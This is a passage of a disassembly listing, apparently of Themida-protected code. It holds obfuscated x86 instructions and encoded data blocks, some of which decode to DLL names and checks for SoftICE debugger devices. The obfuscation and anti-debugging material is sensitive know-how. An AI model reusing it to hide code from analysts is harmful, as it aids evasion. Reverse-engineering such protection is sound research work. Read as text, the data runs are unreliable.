mov ecx, 0E0042A1h inc ecx add ecx, 4D383939h jmp loc_5ACAC0 ; --------------------------------------------------------------------------- loc_5AF8FB: ; CODE XREF: Themida_:005A9D69j pop esp push edi push 4 jmp loc_5ABB2E ; --------------------------------------------------------------------------- db 0BBh dd 47AF0236h, 0FF9CE3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF911: ; CODE XREF: Themida_:0059AE0Fj add edx, edi add edx, 94A08EBh push 92Eh mov [esp], ecx push 3EF500B9h jmp loc_5A6E38 ; --------------------------------------------------------------------------- db 81h dd 0B21CF3C6h, 1655E96Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF936: ; CODE XREF: Themida_:005A7B24j dec bl js loc_5A1B84 sub bl, 43h and dh, bl mov bx, [esp] add esp, 2 push 2A36h mov [esp], edx not byte ptr [esp+1] pop edx jmp loc_5AC95E ; --------------------------------------------------------------------------- loc_5AF95C: ; CODE XREF: Themida_:0059E74Aj inc ebp jmp loc_59EA6D ; --------------------------------------------------------------------------- loc_5AF962: ; CODE XREF: Themida_:005A5DA4j pop si push edi mov di, 2928h shl di, 3 jmp loc_59F8E8 ; --------------------------------------------------------------------------- loc_5AF972: ; CODE XREF: Themida_:005A0421j mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A5A98 ; --------------------------------------------------------------------------- dd 2506BD55h, 0EDC16A11h, 0A1F58103h, 4D69C97Ah, 6E84F581h dd 0EB299385h, 5BDF095Dh, 0FF914AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF9AD: ; CODE XREF: Themida_:0059E318j add ecx, 25D21BF5h add ecx, 0D6DDF7EAh mov edi, ecx pop ecx sub ebp, 6D307666h add ebp, edi add ebp, 6D307666h pop edi jmp loc_5A44D7 ; --------------------------------------------------------------------------- dword_5AF9D0 dd 0E924048Bh, 0FFFF16D0h; --------------------------------------------------------------------------- loc_5AF9D8: ; CODE XREF: Themida_:0059D79Dj jmp loc_5A4A94 ; --------------------------------------------------------------------------- byte_5AF9DD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00598724o dd 4EC8124h, 89000000h, 7DE9243Ch, 51FFFF81h, 315D5958h dd 24048BC7h, 0E904C483h, 0FFFF95FDh ; --------------------------------------------------------------------------- loc_5AFA00: ; CODE XREF: Themida_:005ACE0Dj pop ecx push dword ptr [esp] jmp loc_5A4835 ; --------------------------------------------------------------------------- loc_5AFA09: ; CODE XREF: Themida_:00599577j push ebx push ebp push edi mov edi, 55C65828h mov ebp, 967F72AAh sub ebp, edi pop edi jmp loc_5A1F70 ; --------------------------------------------------------------------------- loc_5AFA1E: ; CODE XREF: Themida_:005AC976j shl ebx, 1 jnp loc_5A284C add ebx, 26680828h jb loc_59D28E mov dl, al pop ecx shl ebp, 5 jns loc_5AF512 or ebp, 420F1EF0h jge loc_5A34B2 and ebp, 53AC06A5h jmp loc_59AE14 ; --------------------------------------------------------------------------- loc_5AFA55: ; CODE XREF: Themida_:005A99AAj xor eax, edx pop edx jmp loc_59B732 ; --------------------------------------------------------------------------- db 68h, 8, 1Eh dd 2C890000h, 6463BD24h, 0BA521C60h, 578F4295h, 0FF3946E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AFA75: ; CODE XREF: Themida_:0059EA99j sub ebx, 4 xchg ebx, [esp] jmp loc_5ACBED ; --------------------------------------------------------------------------- db 5Ah dd 4380CE81h, 0BF577E18h, 1647488Ah, 0FEAF29E9h, 0ACEB81FFh dd 896671B7h, 0EF015BDDh, 0FEDF29E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AFAA5: ; CODE XREF: Themida_:0059A025j add ebx, 4 jmp loc_5AEC9E ; --------------------------------------------------------------------------- loc_5AFAB0: ; CODE XREF: Themida_:0059CFC2j ; Themida_:0059F9CFj mov ah, 0D8h sub dh, ah pop eax mov bl, dh push dword ptr [esp] pop edx jmp loc_5A4DEA ; --------------------------------------------------------------------------- loc_5AFAC0: ; CODE XREF: Themida_:0059AD89j xchg eax, [esp] mov esp, [esp] add ebp, 4 add ebp, 2 xchg ebp, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_5A9663 ; --------------------------------------------------------------------------- dd 5225C181h, 0D1F7040Bh, 0FF6E36E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AFAED: ; CODE XREF: Themida_:005A017Bj sub edx, 582E4573h shl edx, 4 xor edx, 52D61CA2h shr edx, 2 sub edx, 0B4156A90h mov edi, edx pop edx sub eax, edi jmp loc_59F408 ; --------------------------------------------------------------------------- loc_5AFB0F: ; CODE XREF: Themida_:loc_5A87CEj jmp loc_5A3481 ; --------------------------------------------------------------------------- loc_5AFB14: ; CODE XREF: Themida_:0059DA34j pop esi sub esp, 4 jmp loc_5A88EC ; --------------------------------------------------------------------------- loc_5AFB1D: ; CODE XREF: Themida_:005AEE13j mov [esp], edx mov dl, 0CFh dec dl jmp loc_59E5D3 ; --------------------------------------------------------------------------- loc_5AFB29: ; CODE XREF: Themida_:005ADC79j not esi xor esi, 574F76AAh or esi, 5BC77486h jmp loc_59C463 ; --------------------------------------------------------------------------- loc_5AFB3C: ; CODE XREF: Themida_:005A2E12j shl edx, 3 jmp loc_5AB1E7 ; --------------------------------------------------------------------------- loc_5AFB44: ; CODE XREF: Themida_:005A9476j push ecx mov ecx, 4 add edx, ecx pop ecx sub esp, 4 jmp loc_598E5C ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 6Bh db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AFB5B: ; CODE XREF: Themida_:005AAA44j shl ch, 3 push ebx mov bh, 50h add bh, 0FFh shr bh, 5 add bh, 4Dh add bh, 75h xor ch, bh pop ebx jmp loc_5A70A6 ; --------------------------------------------------------------------------- loc_5AFB75: ; CODE XREF: Themida_:0059D475j pop ecx movzx eax, ax push small 4B0Fh mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AFB86: ; CODE XREF: Themida_:005A8022j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx jmp loc_59E298 ; --------------------------------------------------------------------------- byte_5AFB99 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00598928o dd 8416E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AFBA2: ; CODE XREF: Themida_:005AC2BDj jmp loc_59CB83 ; --------------------------------------------------------------------------- loc_5AFBA7: ; CODE XREF: Themida_:0059E83Dj add edi, 4 jmp loc_5A9562 ; --------------------------------------------------------------------------- loc_5AFBB2: ; CODE XREF: Themida_:0059EA2Cj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esp, 4 idiv ecx push 1A68h mov [esp], edx push eax pushf jmp loc_5A2C8F ; --------------------------------------------------------------------------- dd 0BA241489h, 0C1E55E3h, 392DCA81h, 0D2F7324Bh, 631C281h dd 0D729CA36h, 0FECED5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AFBF9: ; CODE XREF: Themida_:005AF1CEj xor eax, 400D22FFh jg loc_59B917 sub eax, 0E8689FDh push edx mov edx, 3890463Fh or eax, edx pop edx shr eax, 3 shr eax, 5 neg eax push edi mov edi, 71A7555Dh xor edi, 1C6E406Fh xor edi, 6D99C89Dh sub eax, 51155365h add eax, edi add eax, 51155365h mov edi, [esp] add esp, 4 push ebp jmp loc_5A6CF3 ; --------------------------------------------------------------------------- loc_5AFC44: ; CODE XREF: Themida_:005AD139j mov ecx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59DDEB ; --------------------------------------------------------------------------- loc_5AFC60: ; CODE XREF: Themida_:005A4C77j pop edi xor ebp, eax mov eax, [esp] add esp, 4 mov esi, ebp pop ebp push esi mov esi, 3E6E4D7Ah sub ebx, esi pop esi add ebx, 70101621h push ecx mov ecx, 5B3500FDh shr ecx, 4 inc ecx sub ecx, 0AD9F22F7h add ebx, ecx pop ecx jmp loc_59C715 ; --------------------------------------------------------------------------- dw 8759h dd 248B242Ch, 0D7DCE924h db 2 dup(0FFh) word_5AFCA2 dw 77FFh ; DATA XREF: Themida_:0059891Co dd 19589D1Ch, 0E99C2404h, 0FFFF50E8h, 2B9h, 8BC80100h dd 0C481240Ch, 4, 0E2895256h, 4C281h, 0EA830000h, 24148704h dd 2424895Ch, 4240483h, 4C6815Eh, 81000000h, 4EEh, 9BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AFCEA: ; CODE XREF: Themida_:005A12E5j or esi, eax jmp loc_59D8B1 ; --------------------------------------------------------------------------- loc_5AFCF1: ; CODE XREF: Themida_:00598C8Ej jmp loc_598A6C ; --------------------------------------------------------------------------- loc_5AFCF6: ; CODE XREF: Themida_:005990FDj sub dh, 0BAh sub al, 4Eh jmp loc_5A5EE0 ; --------------------------------------------------------------------------- loc_5AFD00: ; CODE XREF: Themida_:005AA16Cj inc dword ptr [esp] pop ebp jmp loc_5A7526 ; --------------------------------------------------------------------------- loc_5AFD09: ; CODE XREF: Themida_:005A1AC2j jmp loc_59A4E1 ; --------------------------------------------------------------------------- loc_5AFD0E: ; CODE XREF: Themida_:005AA2E5j pop edi push esi push edx mov edx, 4 mov esi, edx pop edx add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp or [edi+1Ch], eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0C528C4B0h, 8124048Bh, 4C4h, 8BE80000h, 0EC83240Ch dd 242C8904h, 5352E589h, 6C1735BBh, 3EBC157h, 0FB20880Fh dd 0EBC1FFFEh, 1D880F07h, 81FFFF5Dh, 4CCDFBF3h, 0E9DA890Dh dd 0FFFEFC2Ch ; --------------------------------------------------------------------------- loc_5AFD80: ; CODE XREF: Themida_:005A7453j mov [esp], ebx push ecx push 2DC25B95h pop ecx jmp loc_5A642A ; --------------------------------------------------------------------------- loc_5AFD8F: ; CODE XREF: Themida_:005A585Aj mov [esp], ebp xor dword ptr [esp], 40927A3h jmp loc_59C9C6 ; --------------------------------------------------------------------------- dd offset loc_42DBBD+1 dw 0E97Eh dd 0FFFF8E80h ; --------------------------------------------------------------------------- loc_5AFDA8: ; CODE XREF: Themida_:005A4AF1j mov ecx, 4 add ebp, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_5A530F ; --------------------------------------------------------------------------- loc_5AFDC3: ; CODE XREF: Themida_:005AC79Dj mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_59C97B ; --------------------------------------------------------------------------- loc_5AFDD7: ; CODE XREF: Themida_:005A9FB5j pop edx sub eax, 33C75B01h jz loc_59B19E jmp loc_5995A8 ; --------------------------------------------------------------------------- loc_5AFDE8: ; CODE XREF: Themida_:005AABC9j and ah, bh pop bx sub esp, 4 mov [esp], ecx jmp loc_59CDD2 ; --------------------------------------------------------------------------- loc_5AFDF7: ; CODE XREF: Themida_:0059A774j sub cl, 0A6h pop ax xor cl, 59h or cl, 0AEh sub cl, 44h add bl, cl pop ecx mov ecx, [esp] add esp, 4 pop eax add bl, 1Fh sub bl, al sub bl, 1Fh jmp loc_59FD16 ; --------------------------------------------------------------------------- loc_5AFE1C: ; CODE XREF: Themida_:005A3AF0j mov ecx, 4 sub esi, ecx pop ecx xor esi, [esp] xor [esp], esi jmp loc_5AAFFC ; --------------------------------------------------------------------------- loc_5AFE2F: ; CODE XREF: Themida_:00598D8Aj add edx, ebx sub edx, 7FE030F0h pop ebx xchg edx, [esp] pop esp push eax mov eax, esp jmp loc_59E151 ; --------------------------------------------------------------------------- dd 13E8h, 686C9D00h, 0B75CB0D6h, 872D2C98h, 529ADDF5h dd 0A8921E05h, 1810Fh, 5BF80000h, 4BBA6660h, 5BF55079h dd 0A7C38161h, 0E900005Dh, 14h, 0CF83C50Fh, 0F9A6E1BFh dd 565F9860h, 12C9BD1Eh, 0FF9BD78Ah, 0A0767BB9h, 0BDC1813Dh dd 51C25FA0h, 974118BEh, 33FF5829h, 2BF5B58Bh, 8B5F07FAh dd 0C8F781F2h, 665DDE2Fh, 0EF81C78Bh, 3C2B9A0Bh, 8D858960h dd 8B07FA06h, 0F78161FAh, 7D4E1C66h, 57D7B70Fh, 25A98529h dd 38F07FAh, 0EB83A0B4h, 0C2805703h, 0E94B5EEFh, 10h, 414B4A6Fh dd 0AE3B4BF4h, 0EB400760h, 0C0617301h, 1E981h, 850F0000h dd 0FFFFFF9Eh, 0FE9h, 0ED5A6E00h, 0FD3AA3DFh, 8F60A666h dd 4DB3FE3Dh, 45E9h, 20F2A400h, 4553551Ah, 2E323352h, 6C6C64h dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch dd 0D8006C6Ch, 4000307h, 4000600h, 8003100h, 7700h, 3 dup(0) dd 2EE90000h, 68000008h, 7FCCBFFh, 0FDB3C7E9h, 0CC8368FFh dd 0BDE907FCh, 68FFFDB3h, 7FCCD60h, 0FDB3B3E9h, 0CE9168FFh dd 0A9E907FCh, 68FFFDB3h, 7FCCF17h, 0FDB39FE9h, 0D02468FFh dd 95E907FCh, 68FFFDB3h, 7FCD092h, 0FDB38BE9h, 97070FFFh dd 405EB461h, 0E6B85D0Ah, 920C03B0h, 3C62AF5Ch, 361DD206h dd 0E08DC3DBh, 87346A34h, 32DF1589h, 0B887BDE1h, 4DE14460h dd 0A90F07E3h, 0BE687BF2h, 0B00595CBh, 39D62E5Fh, 0E28F8E19h dd 1FC5EE79h, 8E696B87h, 0F44D07E0h, 0A2D553B7h, 4DA2E1BAh dd 63CDCAC3h, 3D80E910h, 0BCCD2ED4h, 36F814A4h, 1CE60183h dd 6A1F38C3h, 0C54A66F6h, 0EFE1BBBCh, 7EE7B75Ah, 0B759AEEEh dd 87666DE7h, 39C7E5A9h, 712DE693h, 19858E3Bh, 0B93E5F5Bh dd 0D675B047h, 6A1h, 0F82E70A6h, 0A1D7C74Bh, 477D21F4h dd 0F329759Ah, 9DD3CB46h, 46CBB469h, 9F752258h, 0F41CC9FFh dd 4CC774AAh, 0F54D1C52h, 0E34E76D9h, 7F369C07h, 0A7326CA7h dd 910D0257h, 61FF8AEBh, 43A9A7D1h, 5A9106ECh, 75001CB4h dd 1C07E355h, 0E4E9A1F2h, 9E445EF0h, 2C6CFC55h, 0EE273BD7h dd 93BC47B0h, 0CED040EDh, 7925EB98h, 0C9499EEEh, 0AB305BD5h dd 0FB39A773h, 336BA855h, 65B08375h, 0E685C09Eh, 61Dh dd 7CB2EC2Ah, 255B43CFh, 0CB019D78h, 77ADF11Eh, 215747CAh dd 0C24F38EDh, 1BF9A6DCh, 70A04D83h, 0C84BF82Eh, 79D1A0D6h dd 0E34EFA5Dh, 0BC22807h, 0A7326CA7h, 42CDD142h, 8D92BC44h dd 0A0B2D05Ch, 25DF6006h, 74A1E61Eh, 498438h, 0A7150000h dd 4DA2326Ch, 2750DBC3h, 0E08C4381h, 0FFE68379h, 8392D043h dd 1B7CB21Bh, 4662F26Eh, 7E0F5DAh, 0DB1BAB04h, 86118D86h dd 60AB75Dh, 0A6936387h, 3753AC26h, 7E0A5D4h, 0D740A902h dd 821CF4A1h, 58758F7h, 0A7F10000h, 8EA7326Ch, 0BF223EFBh dd 0E5FFE683h, 7793238Ch, 7E08825h, 0F5A2D831h, 0E94A801Eh dd 0F030C0A0h, 9C27779Bh, 0D959CD73h, 0FD0FDD52h, 51BF14A4h dd 0A66A174Dh, 0B086DF8h, 0CF35D593h, 0DB16999Fh, 5403Ch dd 8F0F0700h, 3866AC59h, 0DEC05502h, 8A14FBA8h, 346AA754h dd 2E15CAFEh, 0D885BBE3h, 7F2C623Ch, 2AD70D91h, 0B07FB5E9h dd 50D93C58h, 0A10707E3h, 0F66CA7EAh, 0CEF7821Ch, 4DB6E829h dd 0E8B65DC2h, 811DF85Dh, 1E8091F6h, 540E4F93h, 43FD6EACh dd 0E6853E98h, 8F0F00FFh, 91235E26h, 1CC33874h, 73FFFFFFh dd 6D31DE33h, 0E6799E01h, 0DB6BC4FFh, 0E6795CBFh, 8B318AFFh dd 0AA67BCD4h, 72A14EF4h, 188A12Ch, 43ACF223h, 6F8789B3h dd 748120CAh, 0A81A36CEh, 2E07E185h, 98237B99h, 80C92C48h dd 9EF707E1h, 0FE96CC35h, 0A84F65D4h, 0AA5071FCh, 90204049h dd 0DB9EFA74h, 48FE80Fh, 0E75E72D8h, 41FB7CFFh, 7566023Ah dd 177A038h, 7B310000h, 95CBBE68h, 89E7E905h, 72CB07E0h dd 0A653D135h, 3257E1BAh, 0C8499E2Eh, 0BCE231D6h, 0CA620831h dd 0A5ECAEh, 0F681DAE6h, 24B4ACDDh, 0BAD08308h, 48D831E1h dd 0EE7E20F3h, 0E7B759AEh, 64C7335Ch, 92DE06ABh, 0FD8816FDh dd 87C56BD4h, 245439DAh, 0E6416721h, 846E2C95h, 0A547B95Ch dd 40FCB6Ah, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h, 63C62AEh dd 0AEE4BA59h, 86B87DFh, 2E07E351h, 96F311C8h, 0A5FA3ACAh dd 1A8E346Ah, 7E34EA7h, 188689DEh, 75BE648Dh, 224C8C1Ch dd 0C6C17B7Eh, 4BAE1AC6h, 7907E2C0h, 8DE27A20h, 6935DF83h dd 925B5DEh, 7E2C0A6h, 0D40A73CCh, 9A86123Ch, 84BD30C9h dd 0BFDF31DEh, 5A44CF34h, 6533C89Ch, 0EF8EC99Eh, 389h dd 104658BEh, 0B9EFAF63h, 5F95090Ch, 0B415DB2h, 0B5EBB35Eh dd 2EE3CC81h, 878D3A70h, 0DC34E117h, 34DF8CC2h, 0D65346Ah dd 0E3528EF1h, 974EB407h, 0EF0B6CA7h, 0FFE6838Ch, 6DF861BAh dd 7AA0F31Dh, 524A3AE3h, 2D56E1BDh, 0A2711EC4h, 27371FCh dd 45439D48h, 6F37FFE7h, 38755134h, 5549C81Dh, 1AFBA1CAh dd 0FFFFFD5Fh, 326CA7ABh, 0C5C84DA2h, 231A6EEh, 62ED56A6h dd 0E7009339h, 122EBEA2h, 7E0CA68h, 57EF257Eh, 0E98F0F02h dd 0B9637B32h, 0AB0090D0h, 0FB933965h, 0E089DDDFh, 6090BA07h dd 1E59A363h, 65BE07ADh, 0F513ABD5h, 96064256h, 0EF7A24F1h dd 77DB20C6h, 0AFF8722Ah, 5EB76D1Ch, 0F247D740h, 0D2EE7E20h dd 0AFD3926Fh, 0FE963C95h, 0CD9B20E2h, 62ED46B7h, 90204049h dd 0F7C4EF74h, 415DDDAFh, 0AFD3C0DEh, 0B242AB04h, 0AAF41D72h dd 0E2BC5704h, 6EA14ACh, 48F5493Fh, 1DF6A349h, 0BFE5C381h dd 0ABE63674h, 27C0Ch, 534BCB00h, 0FCA2701Dh, 0A2FC19C6h dd 4E50BF6Ch, 0F8A66B18h, 0F2D98EC2h, 9C497F1Fh, 43F02678h dd 0EE9BD1CDh, 74437925h, 539D001Ch, 5DC307E3h, 0A967BCA6h dd 9B416AF5h, 81114F3Ah, 0E34DFC65h, 191EA07h, 0FAA46CC1h dd 0E34D2B8Eh, 5A005907h, 0FBA36DC2h, 95F818C5h, 4290D74Dh dd 0A22D9649h, 0AC8D63Dh, 9E65BF4Ah, 0E49E823h, 39000002h dd 0DE8BC1DDh, 87346A34h, 2DDA108Eh, 0D986BCE2h, 0FC306638h dd 0EDB16047h, 940A0AB7h, 3F5FB15Eh, 0E7B75C09h, 6E8AE2B1h dd 7E3530Bh, 0F31CD339h, 1E3ACA96h, 7E34EB5h, 1C46D62Fh dd 76ACAC69h, 1C828E2Bh, 20750DB3h, 0C61BABF3h, 6FAD534Bh dd 187B97D7h, 3E07E324h, 0AFDE3FE5h, 0B40D29B9h, 0D207E324h dd 8889EE79h, 0CC318B16h, 74C95945h, 1E5C029Ch, 898D0BDh dd 0E32491ECh, 0CB56AF07h, 0B3EB267Bh, 7D85FF28h, 3E8BC05Ah dd 878C39DFh, 0E2328C17h, 751B838Dh, 1D534BC8h, 0B1EAA370h dd 55C8F4C8h, 0CE23B31Ch, 0A7D05B43h, 0E88E1002h, 7F75C455h dd 1E830E90h, 8D1FAAF4h, 7F02AA64h, 9B785C16h, 0E035CD03h dd 0B8E16C32h, 0F0AE6512h, 5B070B60h, 0F37EE7B7h, 0B2EC25CAh dd 0FD14790Ch, 0C9FA16A1h, 0B6E82B0Fh, 603ED380h, 0C6DBA6D0h dd 0F17C22F3h, 35E74EC8h, 7102953Bh, 0B6E82C22h, 4F4FC62Bh dd 0BD77A8C4h, 6F299215h, 0E218868Bh, 37C2DC35h, 1E8092E7h dd 17C46A93h, 0C015A5F9h, 12A54B53h, 0B99D5780h, 63104658h dd 3904DDB0h, 0F07C9C47h, 0AFD0FC87h, 44C056DDh, 967D611Bh dd 103AD208h, 0C7F1CFAEh, 48670A29h, 2FEA41BBh, 28EB983Eh dd 719BEB76h, 835D8C1Ah, 0DD32D715h, 0A36E1BC1h, 0DE1770FBh dd 252B5524h, 0FCB7686Fh, 5BB8650Bh, 0B3600D43h, 0D01060EBh dd 75F651B4h, 28AA46BFh, 0B14C5DEDh, 6836DB70h, 0A54BB4DDh dd 33DF4544h, 4EB7E06Bh, 6F10A2BEh, 3D96C770h, 7DE3A607h dd 2E91ADEDh, 54B85C6Eh, 0A1BD55FBh, 0C0593912h, 47AC3790h dd 0EF9CD2CCh, 0C3EF7A24h, 0DD4BC57Dh, 3A1ED811h, 0F78FC5D9h dd 83389BB7h, 17FAA23Bh, 92D3FC87h, 2DE69339h, 8E81E671h dd 0B3F38510h, 46ECB25Eh, 0EC270BC5h, 44CF7CB2h, 1CA0CA5Ah dd 41BC5F49h, 38D76A10h, 0Dh, 3194B0F0h, 5FA23C3Bh, 0BBA96006h dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h, 89575285h dd 4C781E7h, 83000000h, 3C8704EFh, 2C895C24h, 52A36824h dd 3C890000h, 623C6824h, 34890000h, 192A6824h, 4890000h dd 0CB68B824h, 0C78907FCh, 4EC8358h, 81242489h, 42404h dd 575E0000h, 7C243481h, 8F46181Ah, 0BB530846h, 8, 3381F301h dd 46181A7Ch, 24348B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0A5E95C24h dd 10FFFDABh, 0D2C5B8CFh, 0C50307FCh, 89F4E0FFh, 0E17426E7h dd 0B8AD3E4Ah, 51713B5Eh, 1CF014B4h, 818820F2h, 0B7665412h dd 309B5DCFh, 361C5019h, 0A5A8196Fh, 70412E26h, 8CE9675Bh dd 60000000h, 18D9BD83h, 0F0007FAh, 584h, 77E900h, 6A0000h dd 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh dd 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 14E9h dd 0A1858D00h, 9007FA1Fh, 50969050h, 0FF006A96h, 0FA2AE595h dd 0C6C36107h, 0FA066585h, 2F684D07h, 818A06ACh, 0CA792404h dd 0B5FF1A2Eh, 7FA0515h, 3AE2858Dh, 0D0FF07FAh, 2AE58589h dd 0BE807FAh, 2C000000h, 0D2EB9BB3h, 0F4B5A4BAh, 0B70F925Fh dd 0C8815EC6h, 444D210Ch, 7485C681h, 858B0000h, 7FA222Dh dd 9589C933h, 7FA0099h, 813134FFh, 193202C0h, 12E85A5Bh dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h dd 55BD29B6h, 5807FA18h, 0CB0CC281h, 0BD8B1279h, 7FA01FDh dd 5D80C281h, 858B583Fh, 7FA0861h, 58E1C281h, 0CF803FFEh dd 0E1489B1h, 4166B866h, 67DB529h, 0E98107FAh, 26846429h dd 0FE9h, 535B4200h, 0ADEC1EF7h, 6131C4B9h, 75EE1116h dd 6425C181h, 89602684h, 0FA0511B5h, 13E907h, 21500000h dd 0E31E249Eh, 579CB740h, 94E8D1FFh, 0C3E836E5h, 0F9816199h dd 0FFFF8C48h, 0FF5E850Fh, 9D09FFFFh, 7FA15B1h, 5C5C1EEBh dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h dd 544E5C2Eh, 454349h, 8D0FC08Bh, 13h, 0EE9h, 0CA0A1400h dd 0E34262D6h, 0C61E9144h, 834A8624h, 0FA2ACDBDh, 9750007h dd 1899BD83h, 740007FAh, 8B535019h, 40FB8C0h, 85890000h dd 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h dd 50177400h, 40FB853h, 85890000h, 7FA20C9h, 0DF139D8Dh dd 0D3FF07FCh, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BADDBC3h, 519589D7h, 0E807FA27h dd 6, 26A47D4Ah, 95893190h, 7FA2131h, 66C08B5Ah, 3352F38Bh dd 0FA170DBDh, 85C65F07h, 7FA0665h, 0E8F98B43h, 4, 0BC8E6EFCh dd 840F5250h, 0 dd 5250310Fh, 11E8h, 1E324900h, 3CC5EEA1h, 5A360766h, 0E97CE5h dd 0F5E8B95h, 5A616031h, 50585A58h, 38B0Fh, 8B660000h dd 24448BF1h, 52505604h, 0FD78B66h, 0EE931h, 39920000h dd 3BC80AE2h, 548529F5h, 320148E9h, 8B5F585Ah, 50606000h dd 0F52505Eh, 61585A31h, 890F57h, 5A000000h, 24448961h dd 0B5FF5804h, 7FA08A5h, 8DF78B66h, 0FA3AE285h, 18C0F07h dd 0F5000000h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0A2E4D0C3h, 7AAA2B60h, 0FAD8589h dd 0E99007FAh, 0Dh, 1DF81138h, 485BA135h, 9829FE73h, 8B9050DEh dd 0FA2801BDh, 81B58B07h, 6A07FA22h, 89958900h, 0E807FA2Bh dd 4, 80h, 34E864BFh, 448B5060h, 0B2600424h, 5840F76h dd 0BA000000h, 6E571214h, 8B008B61h, 244489CFh, 68F0F04h dd 0F000000h, 86h, 66515800h, 59E773BFh, 8501036Ah, 7FA2A39h dd 8589006Ah, 7FA30F9h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 4DDB55C3h, 1F927F59h dd 89B29F88h, 9E922668h, 5250568Ch, 2BBBBA66h, 585A310Fh dd 24048159h, 33616DDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0FAC35343h, 9D3CCA78h, 0D5159D8Dh, 6E807FCh dd 0F4000000h, 0B0D5F41Bh, 0B2935EC5h, 0E86050BFh, 7, 6F9C6FADh dd 8B034DB5h, 7E959D8h, 44000000h, 0A54AE936h, 93611DC4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F5C35747h dd 0E98FCC74h, 55CDCA81h, 0D0FF378Bh, 0E5DBD89h, 0F4007FAh dd 30C85h, 6E900h, 0D1BA0000h, 0C44CCD5Dh, 75BD2B58h, 5007FA16h dd 91436FBFh, 24048950h, 0F70CBE66h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 9F5D9BC3h dd 7948B13Ah, 6890F71h, 8B000000h, 0FA01158Dh, 0CF816007h dd 7BF52915h, 978BBA66h, 53A16861h, 8B0F8823h, 12h, 0DE9h dd 1EAAA700h, 6F6E89A9h, 4E084197h, 481F36Ch, 0DCACDF24h dd 52006A77h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 6AA4C188h, 0C5061785h, 2EBFBDC4h, 6A74919Ah dd 8BD18B03h, 0FA2DF995h, 0F006A07h, 684h, 0B58D2300h dd 6A07FA2Ah, 8E903h, 9D450000h, 38B54071h, 4E8F9B4h, 0 dd 8BC00000h, 8B6650F9h, 24448BF0h, 3BBF6604h, 50008B31h dd 0FD58A52h, 5FEBBA31h, 585A3C57h, 4244489h, 66525051h dd 0FBBEEB9h, 5A5F5731h, 8D585F58h, 0FCD51E9Dh, 61952B07h dd 5007FA0Fh, 1C89F6B1h, 14E824h, 4610000h, 0A8404E54h dd 0E45FB6C5h, 9624793h, 8029B6C7h, 830FC824h, 6, 1C59BD33h dd 0FF5907FAh, 0FE8D0h, 0F00A0000h, 92C12E0Bh, 0C58E9AA1h dd 25CE921Ch, 0BF0F609Eh, 6EEE80F8h, 0F405F61h, 1A485h dd 258D8900h, 8B07FA0Dh, 0FA316DB5h, 6A5807h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 896012C3h dd 0FA0585BDh, 8D2B6107h, 7FA20E9h, 118E0F50h, 0E8000000h dd 5, 0F38CF1AFh, 0F5250D0h, 59585A31h, 0F240489h, 883h dd 8A0F5100h, 0 dd 6A006A5Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0DEC353h, 802746B0h, 0BF6660F2h dd 3968C094h, 0E91A19A7h, 11h, 16477719h, 0F89367AFh, 0BEDBD0BFh dd 70CCA76Ah, 2434812Bh, 1A19A7B9h, 0BE8h, 0EF649D00h dd 34AB4C9Ah, 9E1FF8F3h, 0BA23D781h, 6A596D8Ah, 6AF803h dd 6ACFB70Fh, 50606003h, 39958959h, 6107FA15h, 2E586861h dd 